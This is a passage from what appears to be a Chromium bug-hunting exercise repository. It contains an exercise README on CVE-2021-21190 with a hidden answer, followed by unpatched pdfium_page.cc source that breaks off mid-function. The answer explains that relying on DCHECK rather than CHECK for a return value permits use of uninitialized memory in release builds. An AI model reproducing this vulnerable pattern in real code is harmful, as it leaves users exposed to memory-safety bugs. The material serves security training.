TabStripModelObserver> {\n public:\n  // Deleting the constructor gives a clear error message traceable back to here.\n  explicit ScopedObserver(TabStripModelObserver* observer) = delete;\n};\n\n#endif  // CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_\n"
  },
  {
    "path": "LEVEL_2/exercise_6/README.md",
    "content": "# Exercise 6\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-21190\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1166091\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard 53913f6b138c7b0cd9771c1b6ab82a143996ef9e\n```\n\n### Related code\npdf/pdfium/pdfium_page.cc\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  ```c++\n// Function: FPDF_PageToDevice\n//          Convert the page coordinates of a point to screen coordinates.\n// Parameters:\n//          page        -   Handle to the page. Returned by FPDF_LoadPage.\n//          start_x     -   Left pixel position of the display area in\n//                          device coordinates.\n//          start_y     -   Top pixel position of the display area in device\n//                          coordinates.\n//          size_x      -   Horizontal size (in pixels) for displaying the page.\n//          size_y      -   Vertical size (in pixels) for displaying the page.\n//          rotate      -   Page orientation:\n//                            0 (normal)\n//                            1 (rotated 90 degrees clockwise)\n//                            2 (rotated 180 degrees)\n//                            3 (rotated 90 degrees counter-clockwise)\n//          page_x      -   X value in page coordinates.\n//          page_y      -   Y value in page coordinate.\n//          device_x    -   A pointer to an integer receiving the result X\n//                          value in device coordinates.\n//          device_y    -   A pointer to an integer receiving the result Y\n//                          value in device coordinates.\n// Return value:\n//          Returns true if the conversion succeeds, and |device_x| and\n//          |device_y| successfully receives the converted coordinates.\n// Comments:\n//          See comments for FPDF_DeviceToPage().\nFPDF_EXPORT FPDF_BOOL FPDF_CALLCONV FPDF_PageToDevice(FPDF_PAGE page,\n                                                      int start_x,\n                                                      int start_y,\n                                                      int size_x,\n                                                      int size_y,\n                                                      int rotate,\n                                                      double page_x,\n                                                      double page_y,\n                                                      int* device_x,\n                                                      int* device_y) {\n  if (!page || !device_x || !device_y)\n    return false;\n\n  IPDF_Page* pPage = IPDFPageFromFPDFPage(page);\n  const FX_RECT rect(start_x, start_y, start_x + size_x, start_y + size_y);\n  CFX_PointF page_point(static_cast<float>(page_x), static_cast<float>(page_y));\n  absl::optional<CFX_PointF> pos =\n      pPage->PageToDevice(rect, rotate, page_point);\n  if (!pos.has_value())\n    return false;\n\n  *device_x = FXSYS_roundf(pos->x);\n  *device_y = FXSYS_roundf(pos->y);\n  return true;\n}\n  ```\n  This cve reward 500, but the same issue exists in many places.\n\n  ```c++\ngfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point,\n                                   double zoom,\n                                   double left,\n                                   double top,\n                                   double right,\n                                   double bottom,\n                                   PageOrientation orientation) const {\n  if (!available_)\n    return gfx::Rect();\n [ ... ]\n  FPDF_BOOL ret = FPDF_PageToDevice(\n      page(), static_cast<int>(start_x), static_cast<int>(start_y),\n      static_cast<int>(ceil(size_x)), static_cast<int>(ceil(size_y)),\n      ToPDFiumRotation(orientation), left, top, &new_left, &new_top);\n  DCHECK(ret);\n  ret = FPDF_PageToDevice(\n      page(), static_cast<int>(start_x), static_cast<int>(start_y),\n      static_cast<int>(ceil(size_x)), static_cast<int>(ceil(size_y)),\n      ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom);\n  DCHECK(ret);     [1]\n  [ ... ]\n    }\n  ```\n  [1] `FPDF_PageToDevice` return false if `pos` memory uninitialized.\n\n  > DCHECK() here isn't sufficient to prevent the use of uninitialized\n  > memory should this someday return false.\n\n  The purpose of using this cve is to remind everyone that if the return value means important, we must CHECK it not just DCHECK. For example, if there is func check whether the `var` has been initialize, return true or false. But we DCHECK the return value, it cause that if the `var` is uninitialized, we cann't prevent to use it in release build.\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_6/pdfium_page.cc",
    "content": "// Copyright (c) 2010 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"pdf/pdfium/pdfium_page.h\"\n\n#include <math.h>\n#include <stddef.h>\n\n#include <algorithm>\n#include <memory>\n#include <utility>\n\n#include \"base/bind.h\"\n#include \"base/callback.h\"\n#include \"base/check_op.h\"\n#include \"base/metrics/histogram_functions.h\"\n#include \"base/notreached.h\"\n#include \"base/numerics/math_constants.h\"\n#include \"base/numerics/safe_math.h\"\n#include \"base/strings/string_number_conversions.h\"\n#include \"base/strings/string_util.h\"\n#include \"base/strings/utf_string_conversions.h\"\n#include \"pdf/accessibility_structs.h\"\n#include \"pdf/pdfium/pdfium_api_string_buffer_adapter.h\"\n#include \"pdf/pdfium/pdfium_engine.h\"\n#include \"pdf/pdfium/pdfium_unsupported_features.h\"\n#include \"pdf/ppapi_migration/geometry_conversions.h\"\n#include \"pdf/thumbnail.h\"\n#include \"ppapi/c/private/ppb_pdf.h\"\n#include \"printing/units.h\"\n#include \"third_party/pdfium/public/cpp/fpdf_scopers.h\"\n#include \"third_party/pdfium/public/fpdf_annot.h\"\n#include \"third_party/pdfium/public/fpdf_catalog.h\"\n#include \"third_party/skia/include/core/SkBitmap.h\"\n#include \"ui/gfx/geometry/point.h\"\n#include \"ui/gfx/geometry/point_f.h\"\n#include \"ui/gfx/geometry/rect.h\"\n#include \"ui/gfx/geometry/rect_f.h\"\n#include \"ui/gfx/geometry/size_f.h\"\n#include \"ui/gfx/geometry/vector2d.h\"\n#include \"ui/gfx/geometry/vector2d_f.h\"\n#include \"ui/gfx/range/range.h\"\n\nusing printing::ConvertUnitDouble;\nusing printing::kPixelsPerInch;\nusing printing::kPointsPerInch;\n\nnamespace chrome_pdf {\n\nnamespace {\n\nconstexpr float k45DegreesInRadians = base::kPiFloat / 4;\nconstexpr float k90DegreesInRadians = base::kPiFloat / 2;\nconstexpr float k180DegreesInRadians = base::kPiFloat;\nconstexpr float k270DegreesInRadians = 3 * base::kPiFloat / 2;\nconstexpr float k360DegreesInRadians = 2 * base::kPiFloat;\n\ngfx::RectF FloatPageRectToPixelRect(FPDF_PAGE page, const gfx::RectF& input) {\n  int output_width = FPDF_GetPageWidthF(page);\n  int output_height = FPDF_GetPageHeightF(page);\n\n  int min_x;\n  int min_y;\n  int max_x;\n  int max_y;\n  if (!FPDF_PageToDevice(page, 0, 0, output_width, output_height, 0, input.x(),\n                         input.y(), &min_x, &min_y)) {\n    return gfx::RectF();\n  }\n  if (!FPDF_PageToDevice(page, 0, 0, output_width, output_height, 0,\n                         input.right(), input.bottom(), &max_x, &max_y)) {\n    return gfx::RectF();\n  }\n  if (max_x < min_x)\n    std::swap(min_x, max_x);\n  if (max_y < min_y)\n    std::swap(min_y, max_y);\n\n  // Make sure small but non-zero dimensions for |input| does not get rounded\n  // down to 0.\n  int width = max_x - min_x;\n  int height = max_y - min_y;\n  if (width == 0 && input.width())\n    width = 1;\n  if (height == 0 && input.height())\n    height = 1;\n\n  gfx::RectF output_rect(\n      ConvertUnitDouble(min_x, kPointsPerInch, kPixelsPerInch),\n      ConvertUnitDouble(min_y, kPointsPerInch, kPixelsPerInch),\n      ConvertUnitDouble(width, kPointsPerInch, kPixelsPerInch),\n      ConvertUnitDouble(height, kPointsPerInch, kPixelsPerInch));\n  return output_rect;\n}\n\ngfx::RectF GetFloatCharRectInPixels(FPDF_PAGE page,\n                                    FPDF_TEXTPAGE text_page,\n                                    int index) {\n  double left;\n  double right;\n  double bottom;\n  double top;\n  if (!FPDFText_GetCharBox(text_page, index, &left, &right, &bottom, &top))\n    return gfx::RectF();\n\n  if (right < left)\n    std::swap(left, right);\n  if (bottom < top)\n    std::swap(top, bottom);\n  gfx::RectF page_coords(left, top, right - left, bottom - top);\n  return FloatPageRectToPixelRect(page, page_coords);\n}\n\nint GetFirstNonUnicodeWhiteSpaceCharIndex(FPDF_TEXTPAGE text_page,\n                                          int start_char_index,\n                                          int chars_count) {\n  int i = start_char_index;\n  while (i < chars_count &&\n         base::IsUnicodeWhitespace(FPDFText_GetUnicode(text_page, i))) {\n    i++;\n  }\n  return i;\n}\n\nAccessibilityTextDirection GetDirectionFromAngle(float angle) {\n  // Rotating the angle by 45 degrees to simplify the conditions statements.\n  // It's like if we rotated the whole cartesian coordinate system like below.\n  //   X                   X\n  //     X      IV       X\n  //       X           X\n  //         X       X\n  //           X   X\n  //   III       X       I\n  //           X   X\n  //         X       X\n  //       X           X\n  //     X      II       X\n  //   X                   X\n\n  angle = fmodf(angle + k45DegreesInRadians, k360DegreesInRadians);\n  // Quadrant I.\n  if (angle >= 0 && angle <= k90DegreesInRadians)\n    return AccessibilityTextDirection::kLeftToRight;\n  // Quadrant II.\n  if (angle > k90DegreesInRadians && angle <= k180DegreesInRadians)\n    return AccessibilityTextDirection::kTopToBottom;\n  // Quadrant III.\n  if (angle > k180DegreesInRadians && angle <= k270DegreesInRadians)\n    return AccessibilityTextDirection::kRightToLeft;\n  // Quadrant IV.\n  return AccessibilityTextDirection::kBottomToTop;\n}\n\nvoid AddCharSizeToAverageCharSize(gfx::SizeF new_size,\n                                  gfx::SizeF* avg_size,\n                                  int* count) {\n  // Some characters sometimes have a bogus empty bounding box. We don't want\n  // them to impact the average.\n  if (!new_size.IsEmpty()) {\n    avg_size->set_width((avg_size->width() * *count + new_size.width()) /\n                        (*count + 1));\n    avg_size->set_height((avg_size->height() * *count + new_size.height()) /\n                         (*count + 1));\n    (*count)++;\n  }\n}\n\nfloat GetRotatedCharWidth(float angle, const gfx::SizeF& size) {\n  return fabsf(cosf(angle) * size.width()) + fabsf(sinf(angle) * size.height());\n}\n\nfloat GetAngleOfVector(const gfx::Vector2dF& v) {\n  float angle = atan2f(v.y(), v.x());\n  if (angle < 0)\n    angle += k360DegreesInRadians;\n  return angle;\n}\n\nfloat GetAngleDifference(float a, float b) {\n  // This is either the difference or (360 - difference).\n  float x = fmodf(fabsf(b - a), k360DegreesInRadians);\n  return x > k180DegreesInRadians ? k360DegreesInRadians - x : x;\n}\n\nbool FloatEquals(float f1, float f2) {\n  // The idea behind this is to use this fraction of the larger of the\n  // two numbers as the limit of the difference.  This breaks down near\n  // zero, so we reuse this as the minimum absolute size we will use\n  // for the base of the scale too.\n  static constexpr float kEpsilonScale = 0.00001f;\n  return fabsf(f1 - f2) <\n         kEpsilonScale * fmaxf(fmaxf(fabsf(f1), fabsf(f2)), kEpsilonScale);\n}\n\n// Count overlaps across text annotations.\ntemplate <typename T, typename U>\nuint32_t CountOverlaps(const std::vector<T>& first_set,\n                       const std::vector<U>& second_set) {\n  // This method assumes vectors passed are sorted by |start_char_index|.\n  uint32_t overlaps = 0;\n  // Count overlaps between |first_set| and |second_set|.\n  for (const auto& first_set_object : first_set) {\n    gfx::Range first_range(\n        first_set_object.start_char_index,\n        first_set_object.start_char_index + first_set_object.char_count);\n    for (const auto& second_set_object : second_set) {\n      gfx::Range second_range(\n          second_set_object.start_char_index,\n          second_set_object.start_char_index + second_set_object.char_count);\n      if (first_range.Intersects(second_range)) {\n        overlaps++;\n      } else if (first_range.start() < second_range.start()) {\n        // Both range vectors are sorted by |start_char_index|. In case they\n        // don't overlap, and the |second_range| starts after the |first_range|,\n        // then all successive |second_set_object| will not overlap with\n        // |first_range|.\n        break;\n      }\n    }\n  }\n  return overlaps;\n}\n\n// Count overlaps within text annotations.\ntemplate <typename T>\nuint32_t CountInternalTextOverlaps(const std::vector<T>& text_objects) {\n  // This method assumes text_objects is sorted by |start_char_index|.\n  uint32_t overlaps = 0;\n  for (size_t i = 0; i < text_objects.size(); ++i) {\n    gfx::Range range1(\n        text_objects[i].start_char_index,\n        text_objects[i].start_char_index + text_objects[i].char_count);\n    for (size_t j = i + 1; j < text_objects.size(); ++j) {\n      DCHECK_GE(text_objects[j].start_char_index,\n                text_objects[i].start_char_index);\n      gfx::Range range2(\n          text_objects[j].start_char_index,\n          text_objects[j].start_char_index + text_objects[j].char_count);\n      if (range1.Intersects(range2)) {\n        overlaps++;\n      } else {\n        // The input is sorted by |start_char_index|. In case |range1| and\n        // |range2| do not overlap, and |range2| starts after |range1|, then\n        // successive ranges in the inner loop will also not overlap with\n        // |range1|.\n        break;\n      }\n    }\n  }\n  return overlaps;\n}\n\nbool IsRadioButtonOrCheckBox(int button_type) {\n  return button_type == FPDF_FORMFIELD_CHECKBOX ||\n         button_type == FPDF_FORMFIELD_RADIOBUTTON;\n}\n\n}  // namespace\n\nPDFiumPage::LinkTarget::LinkTarget() : page(-1) {}\n\nPDFiumPage::LinkTarget::LinkTarget(const LinkTarget& other) = default;\n\nPDFiumPage::LinkTarget::~LinkTarget() = default;\n\nPDFiumPage::PDFiumPage(PDFiumEngine* engine, int i)\n    : engine_(engine), index_(i), available_(false) {}\n\nPDFiumPage::PDFiumPage(PDFiumPage&& that) = default;\n\nPDFiumPage::~PDFiumPage() {\n  DCHECK_EQ(0, preventing_unload_count_);\n}\n\nvoid PDFiumPage::Unload() {\n  // Do not unload while in the middle of a load.\n  if (preventing_unload_count_)\n    return;\n\n  text_page_.reset();\n\n  if (page_) {\n    if (engine_->form()) {\n      FORM_OnBeforeClosePage(page(), engine_->form());\n    }\n    page_.reset();\n  }\n}\n\nFPDF_PAGE PDFiumPage::GetPage() {\n  ScopedUnsupportedFeature scoped_unsupported_feature(engine_);\n  if (!available_)\n    return nullptr;\n  if (!page_) {\n    ScopedUnloadPreventer scoped_unload_preventer(this);\n    page_.reset(FPDF_LoadPage(engine_->doc(), index_));\n    if (page_ && engine_->form()) {\n      FORM_OnAfterLoadPage(page(), engine_->form());\n    }\n  }\n  return page();\n}\n\nFPDF_TEXTPAGE PDFiumPage::GetTextPage() {\n  if (!available_)\n    return nullptr;\n  if (!text_page_) {\n    ScopedUnloadPreventer scoped_unload_preventer(this);\n    text_page_.reset(FPDFText_LoadPage(GetPage()));\n  }\n  return text_page();\n}\n\nvoid PDFiumPage::CalculatePageObjectTextRunBreaks() {\n  if (calculated_page_object_text_run_breaks_)\n    return;\n\n  calculated_page_object_text_run_breaks_ = true;\n  int chars_count = FPDFText_CountChars(GetTextPage());\n  if (chars_count == 0)\n    return;\n\n  CalculateLinks();\n  for (const auto& link : links_) {\n    if (link.start_char_index >= 0 && link.start_char_index < chars_count) {\n      page_object_text_run_breaks_.insert(link.start_char_index);\n      int next_text_run_break_index = link.start_char_index + link.char_count;\n      // Don't insert a break if the link is at the end of the page text.\n      if (next_text_run_break_index < chars_count) {\n        page_object_text_run_breaks_.insert(next_text_run_break_index);\n      }\n    }\n  }\n\n  PopulateAnnotations();\n  for (const auto& highlight : highlights_) {\n    if (highlight.start_char_index >= 0 &&\n        highlight.start_char_index < chars_count) {\n      page_object_text_run_breaks_.insert(highlight.start_char_index);\n      int next_text_run_break_index =\n          highlight.start_char_index + highlight.char_count;\n      // Don't insert a break if the highlight is at the end of the page text.\n      if (next_text_run_break_index < chars_count) {\n        page_object_text_run_breaks_.insert(next_text_run_break_index);\n      }\n    }\n  }\n}\n\nvoid PDFiumPage::CalculateTextRunStyleInfo(\n    int char_index,\n    AccessibilityTextStyleInfo& style_info) {\n  FPDF_TEXTPAGE text_page = GetTextPage();\n  style_info.font_size = FPDFText_GetFontSize(text_page, char_index);\n\n  int flags = 0;\n  size_t buffer_size =\n      FPDFText_GetFontInfo(text_page, char_index, nullptr, 0, &flags);\n  if (buffer_size > 0) {\n    PDFiumAPIStringBufferAdapter<std::string> api_string_adapter(\n        &style_info.font_name, buffer_size, true);\n    void* data = api_string_adapter.GetData();\n    size_t bytes_written =\n        FPDFText_GetFontInfo(text_page, char_index, data, buffer_size, nullptr);\n    // Trim the null character.\n    api_string_adapter.Close(bytes_written);\n  }\n\n  style_info.font_weight = FPDFText_GetFontWeight(text_page, char_index);\n  // As defined in PDF 1.7 table 5.20.\n  constexpr int kFlagItalic = (1 << 6);\n  // Bold text is considered bold when greater than or equal to 700.\n  constexpr int kStandardBoldValue = 700;\n  style_info.is_italic = (flags & kFlagItalic);\n  style_info.is_bold = style_info.font_weight >= kStandardBoldValue;\n  unsigned int fill_r;\n  unsigned int fill_g;\n  unsigned int fill_b;\n  unsigned int fill_a;\n  if (FPDFText_GetFillColor(text_page, char_index, &fill_r, &fill_g, &fill_b,\n                            &fill_a)) {\n    style_info.fill_color = MakeARGB(fill_a, fill_r, fill_g, fill_b);\n  } else {\n    style_info.fill_color = MakeARGB(0xff, 0, 0, 0);\n  }\n\n  unsigned int stroke_r;\n  unsigned int stroke_g;\n  unsigned int stroke_b;\n  unsigned int stroke_a;\n  if (FPDFText_GetStrokeColor(text_page, char_index, &stroke_r, &stroke_g,\n                              &stroke_b, &stroke_a)) {\n    style_info.stroke_color = MakeARGB(stroke_a, stroke_r, stroke_g, stroke_b);\n  } else {\n    style_info.stroke_color = MakeARGB(0xff, 0, 0, 0);\n  }\n\n  int render_mode = FPDFText_GetTextRenderMode(text_page, char_index);\n  DCHECK_GE(render_mode,\n            static_cast<int>(AccessibilityTextRenderMode::kUnknown));\n  DCHECK_LE(render_mode,\n            static_cast<int>(AccessibilityTextRenderMode::kMaxValue));\n  style_info.render_mode =\n      static_cast<AccessibilityTextRenderMode>(render_mode);\n}\n\nbool PDFiumPage::AreTextStyleEqual(int char_index,\n                                   const AccessibilityTextStyleInfo& style) {\n  AccessibilityTextStyleInfo char_style;\n  CalculateTextRunStyleInfo(char_index, char_style);\n  return char_style.font_name == style.font_name &&\n         char_style.font_weight == style.font_weight &&\n         char_style.render_mode == style.render_mode &&\n         FloatEquals(char_style.font_size, style.font_size) &&\n         char_style.fill_color == style.fill_color &&\n         char_style.stroke_color == style.stroke_color &&\n         char_style.is_italic == style.is_italic &&\n         char_style.is_bold == style.is_bold;\n}\n\nvoid PDFiumPage::LogOverlappingAnnotations() {\n  if (logged_overlapping_annotations_)\n    return;\n  logged_overlapping_annotations_ = true;\n\n  DCHECK(calculated_page_object_text_run_breaks_);\n\n  std::vector<Link> links = links_;\n  std::sort(links.begin(), links.end(), [](const Link& a, const Link& b) {\n    return a.start_char_index < b.start_char_index;\n  });\n  uint32_t overlap_count = CountLinkHighlightOverlaps(links, highlights_);\n  // We log this overlap count per page of the PDF. Typically we expect only a\n  // few overlaps because intersecting links/highlights are not that common.\n  base::UmaHistogramCustomCounts(\"PDF.LinkHighlightOverlapsInPage\",\n                                 overlap_count, 1, 100, 50);\n}\n\nbase::Optional<AccessibilityTextRunInfo> PDFiumPage::GetTextRunInfo(\n    int start_char_index) {\n  FPDF_PAGE page = GetPage();\n  FPDF_TEXTPAGE text_page = GetTextPage();\n  int chars_count = FPDFText_CountChars(text_page);\n  // Check to make sure |start_char_index| is within bounds.\n  if (start_char_index < 0 || start_char_index >= chars_count)\n    return base::nullopt;\n\n  int actual_start_char_index = GetFirstNonUnicodeWhiteSpaceCharIndex(\n      text_page, start_char_index, chars_count);\n  // Check to see if GetFirstNonUnicodeWhiteSpaceCharIndex() iterated through\n  // all the characters.\n  if (actual_start_char_index >= chars_count) {\n    // If so, |info.len| needs to take the number of characters\n    // iterated into account.\n    DCHECK_GT(actual_start_char_index, start_char_index);\n    AccessibilityTextRunInfo info;\n    info.len = chars_count - start_char_index;\n    return info;\n  }\n\n  // If the first character in a text run is a space, we need to start\n  // |text_run_bounds| from the space character instead of the first\n  // non-space unicode character.\n  gfx::RectF text_run_bounds =\n      actual_start_char_index > start_char_index\n          ? GetFloatCharRectInPixels(page, text_page, start_char_index)\n          : gfx::RectF();\n\n  // Pdfium trims more than 1 consecutive spaces to 1 space.\n  DCHECK_LE(actual_start_char_index - start_char_index, 1);\n\n  int char_index = actual_start_char_index;\n\n  // Set text run's style info from the first character of the text run.\n  AccessibilityTextRunInfo info;\n  CalculateTextRunStyleInfo(char_index, info.style);\n\n  gfx::RectF start_char_rect =\n      GetFloatCharRectInPixels(page, text_page, char_index);\n  float text_run_font_size = info.style.font_size;\n\n  // Heuristic: Initialize the average character size to one-third of the font\n  // size to avoid having the first few characters misrepresent the average.\n  // Without it, if a text run starts with a '.', its small bounding box could\n  // lead to a break in the text run after only one space. Ex: \". Hello World\"\n  // would be split in two runs: \".\" and \"Hello World\".\n  double font_size_minimum = FPDFText_GetFontSize(text_page, char_index) / 3.0;\n  gfx::SizeF avg_char_size(font_size_minimum, font_size_minimum);\n  int non_whitespace_chars_count = 1;\n  AddCharSizeToAverageCharSize(start_char_rect.size(), &avg_char_size,\n                               &non_whitespace_chars_count);\n\n  // Add first non-space char to text run.\n  text_run_bounds.Union(start_char_rect);\n  AccessibilityTextDirection char_direction =\n      GetDirectionFromAngle(FPDFText_GetCharAngle(text_page, char_index));\n  if (char_index < chars_count)\n    char_index++;\n\n  gfx::RectF prev_char_rect = start_char_rect;\n  float estimated_font_size =\n      std::max(start_char_rect.width(), start_char_rect.height());\n\n  // The angle of the vector starting at the first character center-point and\n  // ending at the current last character center-point.\n  float text_run_angle = 0;\n\n  CalculatePageObjectTextRunBreaks();\n  const auto breakpoint_iter =\n      std::lower_bound(page_object_text_run_breaks_.begin(),\n                       page_object_text_run_breaks_.end(), char_index);\n  int breakpoint_index = breakpoint_iter != page_object_text_run_breaks_.end()\n                             ? *breakpoint_iter\n                             : -1;\n\n  // Continue adding characters until heuristics indicate we should end the text\n  // run.\n  while (char_index < chars_count) {\n    // Split a text run when it encounters a page object like links or images.\n    if (char_index == breakpoint_index)\n      break;\n\n    unsigned int character = FPDFText_GetUnicode(text_page, char_index);\n    gfx::RectF char_rect =\n        GetFloatCharRectInPixels(page, text_page, char_index);\n\n    if (!base::IsUnicodeWhitespace(character)) {\n      // Heuristic: End the text run if the text style of the current character\n      // is different from the text run's style.\n      if (!AreTextStyleEqual(char_index, info.style))\n        break;\n\n      // Heuristic: End text run if character isn't going in the same direction.\n      if (char_direction !=\n          GetDirectionFromAngle(FPDFText_GetCharAngle(text_page, char_index)))\n        break;\n\n      // Heuristic: End the text run if the difference between the text run\n      // angle and the angle between the center-points of the previous and\n      // current characters is greater than 90 degrees.\n      float current_angle = GetAngleOfVector(char_rect.CenterPoint() -\n                                             prev_char_rect.CenterPoint());\n      if (start_char_rect != prev_char_rect) {\n        text_run_angle = GetAngleOfVector(prev_char_rect.CenterPoint() -\n                                          start_char_rect.CenterPoint());\n\n        if (GetAngleDifference(text_run_angle, current_angle) >\n            k90DegreesInRadians) {\n          break;\n        }\n      }\n\n      // Heuristic: End the text run if the center-point distance to the\n      // previous character is less than 2.5x the average character size.\n      AddCharSizeToAverageCharSize(char_rect.size(), &avg_char_size,\n                                   &non_whitespace_chars_count);\n\n      float avg_char_width = GetRotatedCharWidth(current_angle, avg_char_size);\n\n      float distance =\n          (char_rect.CenterPoint() - prev_char_rect.CenterPoint()).Length() -\n          GetRotatedCharWidth(current_angle, char_rect.size()) / 2 -\n          GetRotatedCharWidth(current_angle, prev_char_rect.size()) / 2;\n\n      if (distance > 2.5f * avg_char_width)\n        break;\n\n      text_run_bounds.Union(char_rect);\n      prev_char_rect = char_rect;\n    }\n\n    if (!char_rect.IsEmpty()) {\n      // Update the estimated font size if needed.\n      float char_largest_side = std::max(char_rect.height(), char_rect.width());\n      estimated_font_size = std::max(char_largest_side, estimated_font_size);\n    }\n\n    char_index++;\n  }\n\n  // Some PDFs have missing or obviously bogus font sizes; substitute the\n  // font size by the width or height (whichever's the largest) of the bigger\n  // character in the current text run.\n  if (text_run_font_size <= 1 || text_run_font_size < estimated_font_size / 2 ||\n      text_run_font_size > estimated_font_size * 2) {\n    text_run_font_size = estimated_font_size;\n  }\n\n  info.len = char_index - start_char_index;\n  info.style.font_size = text_run_font_size;\n  info.bounds = text_run_bounds;\n  // Infer text direction from first and last character of the text run. We\n  // can't base our decision on the character direction, since a character of a\n  // RTL language will have an angle of 0 when not rotated, just like a\n  // character in a LTR language.\n  info.direction = char_index - actual_start_char_index > 1\n                       ? GetDirectionFromAngle(text_run_angle)\n                       : AccessibilityTextDirection::kNone;\n  return info;\n}\n\nuint32_t PDFiumPage::GetCharUnicode(int char_index) {\n  FPDF_TEXTPAGE text_page = GetTextPage();\n  return FPDFText_GetUnicode(text_page, char_index);\n}\n\ngfx::RectF PDFiumPage::GetCharBounds(int char_index) {\n  FPDF_PAGE page = GetPage();\n  FPDF_TEXTPAGE text_page = GetTextPage();\n  return GetFloatCharRectInPixels(page, text_page, char_index);\n}\n\nstd::vector<PDFEngine::AccessibilityLinkInfo> PDFiumPage::GetLinkInfo() {\n  std::vector<PDFEngine::AccessibilityLinkInfo> link_info;\n  if (!available_)\n    return link_info;\n\n  CalculateLinks();\n\n  link_info.reserve(links_.size());\n  for (const Link& link : links_) {\n    PDFEngine::AccessibilityLinkInfo cur_info;\n    cur_info.url = link.target.url;\n    cur_info.start_char_index = link.start_char_index;\n    cur_info.char_count = link.char_count;\n\n    gfx::Rect link_rect;\n    for (const auto& rect : link.bounding_rects)\n      link_rect.Union(rect);\n    cur_info.bounds = gfx::RectF(link_rect.x(), link_rect.y(),\n                                 link_rect.width(), link_rect.height());\n\n    link_info.push_back(std::move(cur_info));\n  }\n  return link_info;\n}\n\nstd::vector<PDFEngine::AccessibilityImageInfo> PDFiumPage::GetImageInfo() {\n  std::vector<PDFEngine::AccessibilityImageInfo> image_info;\n  if (!available_)\n    return image_info;\n\n  CalculateImages();\n\n  image_info.reserve(images_.size());\n  for (const Image& image : images_) {\n    PDFEngine::AccessibilityImageInfo cur_info;\n    cur_info.alt_text = image.alt_text;\n    cur_info.bounds =\n        gfx::RectF(image.bounding_rect.x(), image.bounding_rect.y(),\n                   image.bounding_rect.width(), image.bounding_rect.height());\n    image_info.push_back(std::move(cur_info));\n  }\n  return image_info;\n}\n\nstd::vector<PDFEngine::AccessibilityHighlightInfo>\nPDFiumPage::GetHighlightInfo() {\n  std::vector<PDFEngine::AccessibilityHighlightInfo> highlight_info;\n  if (!available_)\n    return highlight_info;\n\n  PopulateAnnotations();\n\n  highlight_info.reserve(highlights_.size());\n  for (const Highlight& highlight : highlights_) {\n    PDFEngine::AccessibilityHighlightInfo cur_info;\n    cur_info.start_char_index = highlight.start_char_index;\n    cur_info.char_count = highlight.char_count;\n    cur_info.bounds = gfx::RectF(\n        highlight.bounding_rect.x(), highlight.bounding_rect.y(),\n        highlight.bounding_rect.width(), highlight.bounding_rect.height());\n    cur_info.color = highlight.color;\n    cur_info.note_text = highlight.note_text;\n    highlight_info.push_back(std::move(cur_info));\n  }\n  return highlight_info;\n}\n\nstd::vector<PDFEngine::AccessibilityTextFieldInfo>\nPDFiumPage::GetTextFieldInfo() {\n  std::vector<PDFEngine::AccessibilityTextFieldInfo> text_field_info;\n  if (!available_)\n    return text_field_info;\n\n  PopulateAnnotations();\n\n  text_field_info.reserve(text_fields_.size());\n  for (const TextField& text_field : text_fields_) {\n    PDFEngine::AccessibilityTextFieldInfo cur_info;\n    cur_info.name = text_field.name;\n    cur_info.value = text_field.value;\n    cur_info.is_read_only = !!(text_field.flags & FPDF_FORMFLAG_READONLY);\n    cur_info.is_required = !!(text_field.flags & FPDF_FORMFLAG_REQUIRED);\n    cur_info.is_password = !!(text_field.flags & FPDF_FORMFLAG_TEXT_PASSWORD);\n    cur_info.bounds = gfx::RectF(\n        text_field.bounding_rect.x(), text_field.bounding_rect.y(),\n        text_field.bounding_rect.width(), text_field.bounding_rect.height());\n    text_field_info.push_back(std::move(cur_info));\n  }\n  return text_field_info;\n}\n\nPDFiumPage::Area PDFiumPage::GetLinkTargetAtIndex(int link_index,\n                                                  LinkTarget* target) {\n  if (!available_ || link_index < 0)\n    return NONSELECTABLE_AREA;\n  CalculateLinks();\n  if (link_index >= static_cast<int>(links_.size()))\n    return NONSELECTABLE_AREA;\n  *target = links_[link_index].target;\n  return target->url.empty() ? DOCLINK_AREA : WEBLINK_AREA;\n}\n\nPDFiumPage::Area PDFiumPage::GetLinkTarget(FPDF_LINK link, LinkTarget* target) {\n  FPDF_DEST dest_link = FPDFLink_GetDest(engine_->doc(), link);\n  if (dest_link)\n    return GetDestinationTarget(dest_link, target);\n\n  FPDF_ACTION action = FPDFLink_GetAction(link);\n  if (!action)\n    return NONSELECTABLE_AREA;\n\n  switch (FPDFAction_GetType(action)) {\n    case PDFACTION_GOTO: {\n      FPDF_DEST dest_action = FPDFAction_GetDest(engine_->doc(), action);\n      if (dest_action)\n        return GetDestinationTarget(dest_action, target);\n      // TODO(crbug.com/55776): We don't fully support all types of the\n      // in-document links.\n      return NONSELECTABLE_AREA;\n    }\n    case PDFACTION_URI:\n      return GetURITarget(action, target);\n      // TODO(crbug.com/767191): Support PDFACTION_LAUNCH.\n      // TODO(crbug.com/142344): Support PDFACTION_REMOTEGOTO.\n    case PDFACTION_LAUNCH:\n    case PDFACTION_REMOTEGOTO:\n    default:\n      return NONSELECTABLE_AREA;\n  }\n}\n\nPDFiumPage::Area PDFiumPage::GetCharIndex(const gfx::Point& point,\n                                          PageOrientation orientation,\n                                          int* char_index,\n                                          int* form_type,\n                                          LinkTarget* target) {\n  if (!available_)\n    return NONSELECTABLE_AREA;\n  gfx::Point device_point = point - rect_.OffsetFromOrigin();\n  double new_x;\n  double new_y;\n  FPDF_BOOL ret =\n      FPDF_DeviceToPage(GetPage(), 0, 0, rect_.width(), rect_.height(),\n                        ToPDFiumRotation(orientation), device_point.x(),\n                        device_point.y(), &new_x, &new_y);\n  DCHECK(ret);\n\n  // hit detection 